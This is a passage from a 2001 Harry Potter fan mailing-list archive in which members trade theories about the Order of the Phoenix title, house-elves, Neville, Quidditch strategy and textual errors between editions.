[b. That which is supplied, bought, or sold.]

The Order of the Phoenix was delayed in customs for two weeks.

[9. a. A request made by a customer at a restaurant for a portion of 
food. b. The food requested.]

The Order of the Phoenix was corned beef on rye with extra mustard 
and a side of cole slaw.

[10. Law. A direction or command delivered by a court or other 
adjudicative body and entered into the record but not necessarily 
included in the final judgment or verdict.]

The Order of the Phoenix required the Ministry of Magic to stop 
locking up suspected criminals without a trial.

[11. Ecclesiastical. a. Any of several grades of the Christian 
ministry: the order of priesthood. b. Often orders. The rank of an 
ordained Christian minister or priest. c. Often orders. The sacrament 
or rite of ordination.]

The Fat Friar was appointed Supreme Spiritual Spirit of the Order of 
the Phoenix.

[12. Any of the nine grades or choirs of angels.]

...Yikes...I can't do anything with this one...

[13. A group of persons living under a religious rule: Order of Saint 
Benedict.]

The members of the Order of the Phoenix wake at 5 every morning to 
pray for Voldemort's defeat.

[14. An organization of people united by a common fraternal bond or 
social aim.]

The Order of the Phoenix is a group of wizards and witches dedicated 
to the overthrow of Voldemort and the Death Eaters.  (Hmmm.... 
Voldemort and the Death Eaters....great name for a rock band, as Dave 
Barry would say.)

[15. a. A group of people upon whom a government or sovereign has 
formally conferred honor for unusual service or merit, entitling them 
to wear a special insignia: the Order of the Garter. b. The insignia 
worn by such people.]

The members of the Order of the Phoenix wear really cool, red and 
gold badges.

[16.	Often orders. A social class: the lower orders.]

Those Order of the Phoenix-types live in the worst section of town.

[17.	A class defined by the common attributes of its members; a 
kind.]

The members of the Order of the Phoenix are identifiable by their 
messy black hair and brilliant green eyes.  Or (according to Amanda) 
the Order of the Phoenix is an association of people whose wand cores 
contain phoenix feathers

[18.	Degree of quality or importance; rank: poetry of a high 
order.]

Only Harry Potter, Dumbledore and Steve Vander Ark have magical 
knowledge of the Order of the Phoenix.

[19.	Architecture. a. Any of several styles of classical 
architecture characterized by the type of column employed: the 
Corinthian order. b. A style of building: a cathedral of the Gothic 
order.]

The building was early Order of the Phoenix, with carved birds above 
each entrance.

[20.	Biology. A taxonomic category of organisms ranking above a 
family and below a class.]

The Order of the Phoenix is  _Avis Magicalus Rarus_

[21.	Mathematics. a. The sum of the exponents to which the 
variables in a term are raised; degree. b. An indicated number of 
successive differentiations to be performed. c. The number of 
elements in a finite group. d. The number of rows or columns in a 
determinant or matrix.]

If you take all the magical ability I have and raise to the Order of 
the Phoenix it will still be zero.

--Joywitch, who should probably have her dictionary confiscated




From animalsbaby_1999 at yahoo.com  Fri Sep 28 03:10:26 2001
From: animalsbaby_1999 at yahoo.com (laura hickman)
Date: Thu, 27 Sep 2001 20:10:26 -0700 (PDT)
Subject: [HPforGrownups] What JKR did not say. An analysis of the interviews.
In-Reply-To: <9p0nc9+3t4b@eGroups.com>
Message-ID: <20010928031026.78382.qmail@web20005.mail.yahoo.com>

No: HPFGUIDX 26809

> 15. "He might get a different pet at some point but
> I'm saying no 
> more at this moment. "
>  Why would there be any need for a different pet?
> Does Hedwig die?!
> 

Pet: could that pet be a "big black dog"???  If so,
Hedwig would still be needed, but a "dog" would be
very helpful.  Plus what a great way to keep Sirius
safe, under the watchful eyes of Harry, Ron, Hermonie,
Dumbledore, and others... including maybe the real
Moody and that would really anger Snape!!!!!

Laura

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From y_no_m at yahoo.com  Fri Sep 28 03:15:27 2001
From: y_no_m at yahoo.com (y_no_m at yahoo.com)
Date: Fri, 28 Sep 2001 03:15:27 -0000
Subject: Could Salazar Slytherin be nice?
Message-ID: <9p0q0f+sqbm@eGroups.com>

No: HPFGUIDX 26810

Has this topic been discussed before?

Professor McGonagall said in the first book that each House has a 
long and honorable history including Slytherin.

I am writing a fanfic with this theory in mind, and readers are 
either liking the idea of a nice Slytherin or saying Slytherin can't 
have been nice.

yen




From Schlobin at aol.com  Fri Sep 28 03:30:35 2001
From: Schlobin at aol.com (Schlobin at aol.com)
Date: Fri, 28 Sep 2001 03:30:35 -0000
Subject: The Order of the Phoenix
In-Reply-To: <9p0pch+ur8i@eGroups.com>
Message-ID: <9p0qsr+a73q@eGroups.com>

No: HPFGUIDX 26811

Great post, Joy..I think we should all chip in and get you the OED 
(you may already have it!)

I think 14 and 15, i.e. it's a frater/soror group like the Friends of 
Cincinnatus ?? and it's a decoration awarded to the heroic....

good topic for a poll...

Susan




From animalsbaby_1999 at yahoo.com  Fri Sep 28 03:35:56 2001
From: animalsbaby_1999 at yahoo.com (animalsbaby_1999 at yahoo.com)
Date: Fri, 28 Sep 2001 03:35:56 -0000
Subject: MOVIE: Trailer
In-Reply-To: <OE144og7FpqVzFykjcZ00011653@hotmail.com>
Message-ID: <9p0r6s+7r5t@eGroups.com>

No: HPFGUIDX 26812

NBC played a couple more times throughout tonites shows.  However, 
with each passing show, the trailer got shorter and shorter.  Glad I 
caught it.  Supposely one of the previews at Monsters INC will be HP 
& SS/PS.  We'll see!

Laura




From aiz24 at hotmail.com  Fri Sep 28 05:01:30 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Fri, 28 Sep 2001 05:01:30 -0000
Subject: House-Elves - QWC strategy - Neville
Message-ID: <9p107a+jpfl@eGroups.com>

No: HPFGUIDX 26813

Gwen wrote:

> I don't think Amy Z or anyone else who has voiced an anti-Hermione
> opinion (or even elves aren't human opinion) thinks slavery is a 
Good Thing.
> I certainly don't.

Whoa, I agree with your point, but how'd I get shuffled into that 
camp?  I agree with whoever summed it up as: Hermione has a ways to 
go as an anthropologist--and, I would add, as a labor organizer--but 
her heart is in the right place.  She's 14 (or is it 15? <g>) and is 
just stretching her social-consciousness wings.  Give her time.

I like the house-elves story line (not allegory--I don't much like 
allegories and don't think JKR is writing them) *because* it goes 
into the complexity of political movements, instead of making them 
out to be simple Good Folks (Hermione) free Poor Downtrodden Folks 
(Elves) from Bad Folks (Malfoys, Crouch Sr.) despite Willfully 
Ignorant Folks (Ron, Hagrid) and Apathetic Folks (Harry).  People are 
frequently afraid of freedom; even the most oppressed are afraid to 
fly to troubles they know not of.  That doesn't mean they are happy 
the way they are or that the movement to liberate them is wrong--even 
when it is marred by self-righteousness and paternalism.  Or in this 
case, maternalism.

You may be right that the parallel will prove to be about something 
very different, e.g. "that humans are in fact only as powerful as 
they are valued."  Time will tell.  You make a good argument, but if 
I had to put money on it I would say that isn't where Jo is taking it.

s_luhtanen wrote:

>Therefore, Bulgarian strategy: Get the snitch as fast as possible.
>            Irish strategy: Score, score and score while keeping the 
> game going on!

Yes, but that's not very *good* strategy on the Bulgarians' part.  
They need to get the snitch as fast as possible but not until they're 
less than 150 points behind.  Same principle as Harry needing to wait 
to be 60 points up in the Quidditch final in PoA.

Haggridd wrote:

> Does anybody else have any canonical evidence, any red flags, 
> pertaining to Neville his epiphany and any possible significant 
role 
> for him?  

Just that after two books of relative obscurity, he emerges once 
again as an important figure.  Knowing that he has a secret adds a 
lot of intrigue to him--it prompts one to wonder, what else might 
there be to learn about Neville?

It's very possible, of course, that it will end there and we won't 
learn much else about him at all.  But at the moment, he seems like a 
bundle of the kind of red flags that got planted back in book 1 or 2, 
only to turn into full-fledged key plot points later on (Polyjuice, 
Animagi, etc. etc.).  His parentlessness was one such red flag; his 
courage was another; now we know that he has another kind of courage 
(at least, I would call his fortitude re: his parents a form of 
courage) that Harry, for one, identifies as superior to his own; 
what's next?

Amy Z

----------------------------------------------
 Just then, Neville caused a slight diversion
 by turning into a large canary.
                  -HP and the Goblet of Fire
----------------------------------------------





From jkusalavagemd at yahoo.com  Fri Sep 28 05:07:07 2001
From: jkusalavagemd at yahoo.com (Haggridd)
Date: Fri, 28 Sep 2001 05:07:07 -0000
Subject: A New Flint?
Message-ID: <9p10hr+oi84@eGroups.com>

No: HPFGUIDX 26814

I was rereading PoA (hardcover, Bloomsbury, 20th printing) and lo and 
behold, on the first page of Chapter One Harry is reading "A History 
of Magic" by Adalbert Waffling!  I knew that wasn't correct, so I 
checked my copy of PS (also hardcover, Bloomsbury, 20th printing) and 
confirmed from the list of first-year textbooks in Chapter Five, 
"Diagon Alley", that Bathilda Bagshot had written that book, while 
Adalbert Waffling had written "Magical Theory."  I have never come 
across this Flint before.  Am I the first to do so?  It is hard to 
believe that this is true, but if so, Hooray!  I found a Flint!

Haggridd




From lake4fam at earthlink.net  Fri Sep 28 08:08:18 2001
From: lake4fam at earthlink.net (lake4fam at earthlink.net)
Date: Fri, 28 Sep 2001 08:08:18 -0000
Subject: Neville   You go, boy!
Message-ID: <9p1b5i+psfa@eGroups.com>

No: HPFGUIDX 26815

   The Sorting Hat sorted Neville into Gryffindor.  It offered to 
sort Harry into Slytherin knowing that Harry has it in him to become 
great and that Slytherin's house would nurture that tendency.  We all 
know Harry's reaction to that!
  Therefore, I believe that the Sorting Hat knows something I don't 
know (YET) and that's why Neville is a Gryffindor. I think that some 
dire necessity will impell Neville to overcome the klutzhood he has 
created as a defense against ending up like his parents...sort of 
like a person who had witnessed a horror shutting down his sense of 
sight, lest he witness another such horror.
  

dittany/custodienne
  




From b.jebenstreit at biologie.uni-bielefeld.de  Fri Sep 28 09:31:45 2001
From: b.jebenstreit at biologie.uni-bielefeld.de (b.jebenstreit at biologie.uni-bielefeld.de)
Date: Fri, 28 Sep 2001 09:31:45 -0000
Subject: House Elves (again)
In-Reply-To: <95774A6A6036D411AFEA00D0B73C864303B05481@exmc3.urmc.rochester.edu>
Message-ID: <9p1g21+racn@eGroups.com>

No: HPFGUIDX 26816

Gwen wrote:
> I feel this should go without saying, but it seems to need stating: I'm
> seeing a propensity to conclude that people who say Hermione is wrong to
> jump in to the house-elf debate also condone slavery. I don't think
that's
> the case.

I did not mean to imply that. If I did (without meaning to) I *am* sorry.

I don't think Amy Z or anyone else who has voiced an anti-Hermione
> opinion (or even elves aren't human opinion) thinks slavery is a
Good Thing.
> I certainly don't. You are correct: slavery is wrong. The way
house-elves
> are treated is by and large deplorable. They are not given rights. They
> deserve breaks and holidays and all the privileges you listed.
>
> HOWEVER, I do not think it necessarily follows that the house-elves
have any
> wish for OCCUPATION other than what they are doing. They may wish
for and
> subsequently fear gaining the respect of humans, but that does not
> necessarily equate to "freedom."

I can imagine, that even at the end of the series, the house elf will
still opt to keep their occupation. But under different conditions.

For example, I have postulated both in my
> fic and on this list that there may be a condition of being a
house-elf that
> requires occupation in service of some kind for survival. There are
> creatures in lore who must serve to survive, or at least to maintain
their
> powers. That does not necessarily mean they must be slaves, that is,
with no
> rights or respect afforded to them. But what if--setting aside all
social
> commentary and ethical allegory and everything else--what if just
maybe a
> House-elf who does _not_ selflessly contribute to the well-being of some
> other creature loses his powers over time? What if his magical
ability and
> existence are inextricably tied to the self-sacrificing acts which he
> commits in the service of others? It's possible.

Like the Brownies, as Rowenna has pointed out. But if being paid would
rob the elves of their powers - why would Dobby accept pay? He might
be weird and strange (from our point of view). But I can?t see him as
dumb enough to accept pay, if that would diminish his powers. Though I
admit that among elves there might exist a superstitious belief "if
you accept pay you will lose your powers!" that elves like Dobby do
not believe in.

> Again, this is not to condone slavery or the disrespect of any
people based
> on a characteristic that makes them different. It is merely an
exploration
> of the various kinds of possibilities available when dealing with a
species
> that is more-or-less made up and definitely not the same as us.

I think I can see your point. You mean to say: the elves are not
humans, so we have no right to judge their behaviour by human
standards. If they wish to serve - let them serve. If they do not
object to mistreat (of either themselves or other) - it is their right
to make this dicision. (Sorry, if I misunderstood you.)
If this was pure science fiction - with no human group involved - I
guess I could agree. If both the powerful and the powerless would
operate from non-human values and convictions, I *might* accept it, if
the powerless wish to remain in their position. (Though it would still
bother be.)
The thing that bothers me is: the powerful in this case are humans.
The elves - from their cultural point of view - might be inclined to
accept their way of live. But it bothers me that human wizards and
witches accept it, too. Neither the Malfoys nor the Weasleys appear to
think that the way the elves are treated is wrong.
I admit, I only read the German translation of GoF. Translated back to
English, this is what Ron said: "They like to be enslaved!" I will
check with the original - but I would suppose it says "enslaved", too.
So the wizards and witches do know, that the elves are slaves. Elves
might *like* to be enslaved. But my point is: humans should not accept
slavery - even if the persons in question claim to like it.
Maybe I can make my point clearer with an analogy. I have a younger
brother. Siblings that are much younger than the older brother or
sister often have a phase - usually a short one - in which they adore
their older siblings. They follow them around, try to copy their
behaviour. In that phase, it is really easy to *convince* them to do
chores for them: do the shopping, the laundry, clean the room. They
might even offer to do it on their own, just to be close to their
sibling. If you ask them -they think it is great! Brother or sister is
his or her heroe! Does that make the older ones behaviour all right?
No, it does not. As parents are bound to point out to the older.
(Before you ask: I discouraged my brother?s behaviour before our
parents had to intervene.)
The behaviour of the wizards and witches remains me of other cases of
siblings that I have seen, in which the older had no qualms about
using the younger ones willingness to serve. I think the older
siblings behaviour is morally wrong. In the same way I also think the
witches and wizards are wrong. And I admit frankly, that I might
believe that because of wishful thinking. Because I don?t want to see
the wizard?s/witche?s behaviour continued. Your milage may wary,
certainly. But from JKR?s statements, I think she sees it similarily.
We?ll have to wait for OoP to know.

> Preparing for the backlash

I do hope that was more constructive :-)

Awaiting counter arguements with interest,
Ethanol




From s_luhtanen at hotmail.com  Fri Sep 28 09:53:17 2001
From: s_luhtanen at hotmail.com (s_luhtanen at hotmail.com)
Date: Fri, 28 Sep 2001 09:53:17 -0000
Subject: Neville's prospects (was Re: Hermione's Knowledge of the Longbottoms)
In-Reply-To: <9p08tv+kah8@eGroups.com>
Message-ID: <9p1had+2nuq@eGroups.com>

No: HPFGUIDX 26817

True - He is afraid of the curse - because it [i]reminds[/i] him of 
the fate of his parents. He's subconciously inclined to suppress 
Magic in him - unless, of course, he thinks it may help find the cure 
for them - like herbology...

Neville's worst fear is Severus Snape.
After Snape made him disembowel toads and frogs (with Neville having 
a pet toad) - and how sensitive Neville is to the pain of others - 
and not only that of humans... well, Neville wouldn't call it 
torture, but mentally it's close...

And yet - he's not trying to avoid any of it! So I'd say Neville has 
lots of courage - even more than Harry - more than anyone. He's 
regularly facing his worst fear!

For the fun... Imagine Neville mistaking Snape for a Boggart - would 
[i]riddiculus[/i] work on a grown wizard? I don't think Neville would 
be able to tell Snape and Boggart apart.




From s_luhtanen at hotmail.com  Fri Sep 28 10:22:43 2001
From: s_luhtanen at hotmail.com (s_luhtanen at hotmail.com)
Date: Fri, 28 Sep 2001 10:22:43 -0000
Subject: Could Salazar Slytherin be nice?
In-Reply-To: <9p0q0f+sqbm@eGroups.com>
Message-ID: <9p1j1j+c35u@eGroups.com>

No: HPFGUIDX 26818

--- In HPforGrownups at y..., y_no_m at y... wrote:
> Has this topic been discussed before?
> 
> Professor McGonagall said in the first book that each House has a 
> long and honorable history including Slytherin.
> 
> I am writing a fanfic with this theory in mind, and readers are 
> either liking the idea of a nice Slytherin or saying Slytherin 
can't 
> have been nice.
> 
> yen

Right - I think Slytherin was indeed a good person. Just that each 
founder of the Hogwarts had different values and different code of 
ethics with "Ends justify the means" being whole-hartedly accepted by 
Slytherins...





From s_luhtanen at hotmail.com  Fri Sep 28 10:36:47 2001
From: s_luhtanen at hotmail.com (s_luhtanen at hotmail.com)
Date: Fri, 28 Sep 2001 10:36:47 -0000
Subject: House-Elves - QWC strategy - Neville
In-Reply-To: <9p107a+jpfl@eGroups.com>
Message-ID: <9p1jrv+a6pi@eGroups.com>

No: HPFGUIDX 26819

> 
> s_luhtanen wrote:
> 
> >Therefore, Bulgarian strategy: Get the snitch as fast as possible.
> >            Irish strategy: Score, score and score while keeping 
the 
> > game going on!
> 
> Yes, but that's not very *good* strategy on the Bulgarians' part.  
> They need to get the snitch as fast as possible but not until 
they're 
> less than 150 points behind.  Same principle as Harry needing to 
wait 
> to be 60 points up in the Quidditch final in PoA.

Things went on very fast. Should Krum had caught the snitch before 
the Irish scored 150 they'd won. Difference was ONLY 10 points. It 
made a close match.

> Haggridd wrote:
> 
> > Does anybody else have any canonical evidence, any red flags, 
> > pertaining to Neville his epiphany and any possible significant 
> role 
> > for him?  
> 
> Just that after two books of relative obscurity, he emerges once 
> again as an important figure.  Knowing that he has a secret adds a 
> lot of intrigue to him--it prompts one to wonder, what else might 
> there be to learn about Neville?

Well - he may come in terms with his parents' fate and be found 
extremely powerful wizard after that.

Why is [i]Snape[/i] his worst fear? (Which proves Neville's courage - 
a less brave would skip the Potions class if so)... but Why just 
Snape? Is Neville afraid he'd put Cruciatus on him - or someone else?





From jsteinb103 at aol.com  Fri Sep 28 10:42:13 2001
From: jsteinb103 at aol.com (jsteinb103 at aol.com)
Date: Fri, 28 Sep 2001 10:42:13 -0000
Subject: The Order of the Phoenix
In-Reply-To: <9p0pch+ur8i@eGroups.com>
Message-ID: <9p1k65+jndl@eGroups.com>

No: HPFGUIDX 26820

--- In HPforGrownups at y..., "Joy M" <joym999 at a...> wrote:
> We have had some discussion about the meaning of the title "Order 
of 
> the Phoenix." As a service to the community, I thought I would 
> speculate, with the help of the American Heritage dictionary, on 
all 
> the possibilities.  The dictionary definitions are contained within 
> the [square brackets], the sentences which follow are my examples 
of 
> the possible meaning of the new title.
> 

<snip possibilities 1-11> 

> [12. Any of the nine grades or choirs of angels.]
> 
> ...Yikes...I can't do anything with this one...

<snip possibilities 13-21> 
> --Joywitch, who should probably have her dictionary confiscated

In the interests of completenes...

[12. Any of the nine grades or choirs of angels]
"Ah," said Dumbledore, wiping away a tear as the Hogwarts choir 
finished their performance, "the Order of the Phoenix couldn't have 
sung any more beautifully."

Julia, who will now go back to lurking




From s_luhtanen at hotmail.com  Fri Sep 28 10:56:55 2001
From: s_luhtanen at hotmail.com (s_luhtanen at hotmail.com)
Date: Fri, 28 Sep 2001 10:56:55 -0000
Subject: House Elves (again)
In-Reply-To: <9p1g21+racn@eGroups.com>
Message-ID: <9p1l1n+h230@eGroups.com>

No: HPFGUIDX 26821

Hmm...
The Elves are more powerful in magic than the Family.
Payment is a disgrace to most of them. It's simply against the honor 
of a House-Elf to accept payment or some such. They take pleasure of 
serving - and they do live in the House and Eat - payment would 
probably feel like [i]stealing[/i] to them. It's almost like a 
religion to them. Yes, religious. A wow of poverty and obedience. 
Sounds like a monastery or a convent.

Leaders are the wizards and witches...




From dfrankiswork at netscape.net  Fri Sep 28 13:08:51 2001
From: dfrankiswork at netscape.net (dfrankiswork at netscape.net)
Date: Fri, 28 Sep 2001 13:08:51 -0000
Subject: Canon questions (was Blaise, Boy or Girl? )
In-Reply-To: <20010927200433.31619.qmail@web20805.mail.yahoo.com>
Message-ID: <9p1sp3+rdl5@eGroups.com>

No: HPFGUIDX 26822

Rowena:
>    So basically what this means is translators assumed
> Blaise was a girl. Would it be all right if I went on
> thinking of him as a boy?

It's OK by me.  But in all fairness we should ask ourselves the 
question, To what extent are translations canon?  IIRC, JKR 
criticised the Italian version for its translation of Dumbledore as 
Silencio.  I believe the sex of Blaise Zabini is an open question 
unless we get confirmation that the German or Hebrew translators 
consulted JKR.  Normal British usage of the rather uncommon name 
Blaise would be that s/he is a boy.

Handwriting: The British editions contain no handwriting, apart from 
the schoolbooks.  What is the status of the handwriting in the US 
editions?

David, who has only come across one person called Blaise (apart from 
Pascal, of course)




From catlady at wicca.net  Fri Sep 28 13:49:47 2001
From: catlady at wicca.net (Catlady (Rita Prince Winston))
Date: Fri, 28 Sep 2001 13:49:47 -0000
Subject: Genes - Envy - Hermione's Birthday - Rant on Language
Message-ID: <9p1v5r+u6l5@eGroups.com>

No: HPFGUIDX 26823

I mailed this last night at Thu, 27 Sep 2001 20:38:30 -0700 but the 
e-mail bounced.

vheggie wrote:

> 1) Assume it's a recessive allele so mm = wizard
> and MM & Mm = muggle. In order for two wizards
> to produce a squib a spontaneous mutation 
> must occur which 'knocks out' the action of
> one of the parental genes.  This sort of
> mutation is INCREDIBLY rare,

That wizardry is polygenic is logical, of course, but I'm a defender 
of the recessive allele theory. There are two other ways that a wizard 
and witch parent could have a Squib child: 1) Mama was messing around 
with a Muggle on the side, and 2) whatever developmental process is 
directed by the magic gene was disrupted by some environmental 
influence, such as Fetal Alcohol Syndrome, or Mama had the flu or too 
much stress hormones during pregnancy.  

fourfuries wrote:

> Thus, the jealous husband considers himself
> to be defending "his" territory, (snip)
> Envy, on the other hand, is a more dangerous
> thing, as it has no justification. 

Far more people agree with you than with the idea that my late mother
taught me a million years ago; she said that Jealousy means seeing 
that someone has something you want that you don't have, and spite 
fully wishing that they didn't have it either, but Envy means seeing 
such a person with such a thing and wishing that you had it TOO, a 
much more positive reaction.

Frances wrote of Hermione's birthyear:

> As a Brit, I have been in the education system
> over here all my life, and ended up coming
> down on the side of 1979 because 1st of September
> deadline has always been strictly observed over
> here as the cut off point for when people change 
> schools

I believe that Hermione was born in 1979 because my Web searching on 
the subject of British education found several sites indicating that 
the September cut-off is strictly observed (as you stated) and none
indicating that it isn't. I'll even accept it as a reason why she is
such a mature student. But plenty of Americans on the list are
determined to have her be younger than Harry, and make suggestions 
like Hogwarts has a later date cut-off than Muggle schools do.

Rowena Grunnion-Fitch wrote:

>  sometimes I'm very grateful to be a 
> native English speaker - other languages
> sound so *complicated* with their genders
> and tenses and God knows what else.

Your explanation that the simplification of English came from a cross 
between Saxons and Danes is new to me; I am more accustomed to the
explanation that 'English is the result of Norman men at arms trying 
to date Saxon barmaids, and no more legitimate than the other 
results." I THINK the quote is from L. Sprague deCamp but I can't 
remember.

My friend Lee (ABD in Eng Lit) told that the reason that English 
became simple and easy is because it was the language only of 
conquered peasants and therefore not taught in school like Latin (and 
presumably Norman French) and was therefore free to change according 
to the same natural principles that let Latin turn into French and 
Spanish and Italian and Rumanian etc. IIRC she said Saxon nouns were 
declined (like Latin or Russian) but the part that changed was the 
last syllable and was unstressed so people with sloppy slangy 
pronunciation just left them off, same as modern people with sloppy 
slangy pronunciation leave the 'g' off 'ing' verbs and leave the 't' 
off 'don't'. 
------------------------------------------------------------------

          /\ /\                                          ___  ___
           + +     Mews and views                       ( @ \/ @ ) 
         >> = <<         from Rita Prince Winston        \ @  @ / 
                                                          \ () /  
                     ("`-''-/").___..--''"`-._             \  / 
                     `6_ 6  )   `-.  (     ).`-.__.`)       \/ 
                     (_Y_.)'  ._   )  `._ `. ``-..-'
                    _..`--'_..-_/ /--'_.' ,'
                   ((('   (((-(((''  ((((




From aiz24 at hotmail.com  Fri Sep 28 14:14:40 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Fri, 28 Sep 2001 14:14:40 -0000
Subject: A New Flint?
In-Reply-To: <9p10hr+oi84@eGroups.com>
Message-ID: <9p20kg+ejhk@eGroups.com>

No: HPFGUIDX 26824

--- In HPforGrownups at y..., "Haggridd" <jkusalavagemd at y...> wrote:
> I was rereading PoA (hardcover, Bloomsbury, 20th printing) and lo 
and 
> behold, on the first page of Chapter One Harry is reading "A History 
> of Magic" by Adalbert Waffling!  I knew that wasn't correct, so I 
> checked my copy of PS (also hardcover, Bloomsbury, 20th printing) 
and 
> confirmed from the list of first-year textbooks in Chapter Five, 
> "Diagon Alley", that Bathilda Bagshot had written that book, while 
> Adalbert Waffling had written "Magical Theory."  I have never come 
> across this Flint before.  Am I the first to do so?  

No, but (consults L.O.O.N. handbook) you do get 50 points for being 
the first to note it on this list.  Edward Olson, who compiled a list 
of all differences between the editions, noted it--his list is at the 
Lexicon:

http://www.i2k.com/~svderark/lexicon/differences-pa.html

(It isn't complete, by the way.  I know of at least one off the top of 
my head that isn't on there.  So you could nitpick PA to your heart's 
content and send Edward an update.)

I could have sworn I'd heard about this one from some interview . . . 
anyway.  I'm totally stunned by anyone paying enough attention to who 
wrote what book in PS/SS to pick up on a discrepancy in PA.  That 
bespeaks an obsessiveness that is truly frightening, but Bathilda 
thanks you.

I think we need, not a club, but a support group for people who are 
driven to actively seek Flints.  It could meet in the basement of the 
L.O.O.N. offices.  I'm not sure about a title, because FFA (Flint 
Finders Anonymous) is already taken.

Amy Z
who thinks this behavior is way more obsessive than analyzing Harry's 
handwriting

----------------------------------------------------
 JKR:  Maps are a great source for names . . .
 Interviewer:  Really?
 JKR:  Yeah.  Dursley and Dudley and Snape are all, 
   erm, places I can't visit anymore, obviously.
                           --Blue Peter interview
----------------------------------------------------




From aiz24 at hotmail.com  Fri Sep 28 14:29:02 2001
From: aiz24 at hotmail.com (Amy Z)
Date: Fri, 28 Sep 2001 14:29:02 -0000
Subject: QWC strategy 
In-Reply-To: <9p1jrv+a6pi@eGroups.com>
Message-ID: <9p21fe+jr7q@eGroups.com>

No: HPFGUIDX 26825

--- In HPforGrownups at y..., s_luhtanen at h... wrote:

> Things went on very fast. Should Krum had caught the snitch before 
> the Irish scored 150 they'd won. Difference was ONLY 10 points. It 
> made a close match.

Exactly!  Bulgaria wasn't being routed.  Once you added in the 150 
points they'd get for getting the Snitch, they were very very close.  
If Krum had had the faith in his Chasers to wait for them to score 
twice more before he went for the Snitch, his team would have won.  I 
can't think of a parallel, because there's no Muggle sport I know 
of in which a player has the power to singlehandedly end the game 
while his team is behind, but it seems to me that his teammates would 
have some serious hexes waiting for Viktor.  A close match is little 
comfort to a team that's just lost the final.

I don't think he took a dive (lol), but I don't think Harry's 
explanation is convincing either.  Now, if they had been going on for 
three days, with Bulgaria consistently coming within 180 points of 
Ireland but Ireland's Chasers always pulling ahead, =then= I could 
understand his thinking that his team was never going to pull within 
140 points and he might as well end the thing with dignity.  But with 
the other Seeker injured and the game so young, I think his catching 
the Snitch was impetuous at best.

Amy Z
who wishes the Mets had given up in the 4th inning last night

(Sorry, in-joke--I will explain.  I'm an Expos fan; the Expos wereup 
by 4 in the 4th; the Mets ended up coming back and beating the Expos 
by several runs.  Now, if Krum had been pitching...)

--------------------------------------------------
 The [Chudley Cannons'] motto was changed in 1972
 from 'We shall conquer' to 'Let's all just keep
 our fingers crossed and hope for the best'.
                      -Quidditch Through the Ages
--------------------------------------------------




From cynthiaanncoe at home.com  Fri Sep 28 14:39:25 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Fri, 28 Sep 2001 14:39:25 -0000
Subject: Neville   You go, boy!/Memory Charm
In-Reply-To: <9p1b5i+psfa@eGroups.com>
Message-ID: <9p222t+9kg4@eGroups.com>

No: HPFGUIDX 26826

--- In HPforGrownups at y..., lake4fam at e... wrote:
>    >   Therefore, I believe that the Sorting Hat knows something I 
don't 
> know (YET) and that's why Neville is a Gryffindor. >   

As a "Neville has a memory charm" believer, I have a question that 
just occurred to me.  Assume Neville witnessed the torture of his mom 
and dad.  If I'm doing the math correctly, he was about 1 year old 
when this happened.  One year olds have almost no awareness of what's 
going on around them, and I doubt that they would have any memory of 
witnessing something traumatic at that age.  So why would anyone put 
a memory charm on a one-year old, particularly if the side-effects 
turn them into a klutz?

Is there any chance the DEs put the memory charm on Neville so that 
he couldn't identify them?  Again, that seems unlikely.  One year old 
kids make dreadful witnesses even without memory charms.

So maybe someone put a charm on Neville not to make him forget what 
he saw, but to make him remember and communicate what he saw as part 
of the investigation of what happened.  Recall that Dumbledore tells 
us that Neville's parents were in no condition to tell us who was 
involved in the Longbottoms' torture.  Perhaps Neville was able to 
remember, with a little magical assistance.  If not, then how did MoM 
figure out who was involved?

If you want a really outlandish theory, consider this.  If someone 
put a charm on Neville to turn him into a witness, it was Moody.  The 
real Moody might have gone to any lengths to find the people who 
harmed his fellow Auror(s).  That would explain why Crouch/Moody is 
nice to Neville in GoF and understands how he would react to the 
cruciatus curse.

Cindy 




From cynthiaanncoe at home.com  Fri Sep 28 14:47:39 2001
From: cynthiaanncoe at home.com (cynthiaanncoe at home.com)
Date: Fri, 28 Sep 2001 14:47:39 -0000
Subject: QWC strategy
In-Reply-To: <9p21fe+jr7q@eGroups.com>
Message-ID: <9p22ib+ome4@eGroups.com>

No: HPFGUIDX 26827

--- In HPforGrownups at y..., "Amy Z" <aiz24 at h...> wrote:
>I 
> can't think of a parallel, because there's no Muggle sport I know 
> of in which a player has the power to singlehandedly end the game 
> while his team is behind, but it seems to me that his teammates 
would 
> have some serious hexes waiting for Viktor.  A close match is 
little 
> comfort to a team that's just lost the final.
> 
>
Yes, I'm inclined to agree with Amy.  It is hard to think of a 
parallel, but imagine that we are in the bottom of the Ninth in the 
World Series.  Bulgaria is behind by an insurrmountable amount for a 
baseball game (say, 5 runs with two outs).  If Victor comes to bat, 
does anyone think he would deliberately create an out on the theory 
that, hey, the other team is so good that we'll never win, so let's 
end it now?  Or imagine the same situation, but Victor is on third 
base.  He decides to steal home against outrageous odds so that he 
can "end the game on his own terms."  

The Quiddich World Cup ending bothers the small part of me that has 
any interest in sport, and that's saying something.

Cindy (who will try really hard not to complain about the QWC any 
more)




From nethilia at yahoo.com  Fri Sep 28 14:49:47 2001
From: nethilia at yahoo.com (Nethilia De Lobo)
Date: Fri, 28 Sep 2001 07:49:47 -0700 (PDT)
Subject: What JKR did not say. An analysis of the interviews.
In-Reply-To: <1001687268.2294.7521.m6@yahoogroups.com>
Message-ID: <20010928144947.53908.qmail@web14605.mail.yahoo.com>

No: HPFGUIDX 26828

"And I'm going to ask one other question which you'll
say isn't clever at all. The significance of the place
where Harry and his parents lived, the first name - 

Godrich Gryffindor. Very good, you're a bit good you
are, aren't you?"

Oooo, I was right!! Harry is the long lost twin
brother of Godric Gryffindor! 

"Will it be the biggest?

No, I think book seven will be. Seven's going to be
like the Encyclopaedia Britannica, because I'm going
to want to say goodbye."

AUGH!!! Book 7 will be BIGGER than book 4? I'm going
to be able to kill someone with that book! O_o

--Neth (and I though carrying around book 4 in my arms
while reading was a mess; now I have visions of
lugging around something the size and complexity of a
college calculus book) 

=====
--Nethilia de Lobo--
79% obsessed with Harry Potter
Wand: Dragon Heartstring, Ash, 7 inches
**Draco Dormiens Nunquam Titillandus.**

http://www.geocities.com/spenecial
Spenecial.com. Two girls. One Website. Total Chaos.

__________________________________________________
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From rowena_grunnion_ffitch at yahoo.com  Fri Sep 28 15:34:53 2001
From: rowena_grunnion_ffitch at yahoo.com (Rowena Grunnion-Ffitch)
